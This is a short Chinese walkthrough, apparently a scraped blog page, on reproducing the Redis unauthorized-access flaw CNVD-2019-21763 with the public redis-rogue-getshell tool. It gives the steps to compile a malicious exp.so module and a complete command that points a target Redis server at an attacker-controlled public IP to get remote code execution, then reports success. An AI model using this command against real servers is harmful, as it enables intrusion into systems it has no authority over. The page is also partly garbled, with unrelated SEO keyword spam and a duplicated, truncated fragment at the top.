最专业网站建设公司哪家好,网络设计方案包括哪些方面,小说网站防盗做的好处,做网贷网站Redis未授权访问-CNVD-2019-21763复现
利用项目#xff1a; https://github.com/vulhub/redis-rogue-getshell
解压后先进入到 RedisModulesSDK目录里面的exp目录下#xff0c;make编译一下才会产生exp.so文件#xff0c;后面再利用这个exp.so文件进行远程代码执行
需要p…Redis未授权访问-CNVD-2019-21763复现
利用项目 https://github.com/vulhub/redis-rogue-getshell
解压后先进入到 RedisModulesSDK目录里面的exp目录下make编译一下才会产生exp.so文件后面再利用这个exp.so文件进行远程代码执行
需要python3环境
# 利用命令命令中的攻击IP要用公网IP
python3 redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp/exp.so -c id进入到exp目录下make一下
来到 redis-master.py文件所属目录下 执行命令查看id
命令执行成功
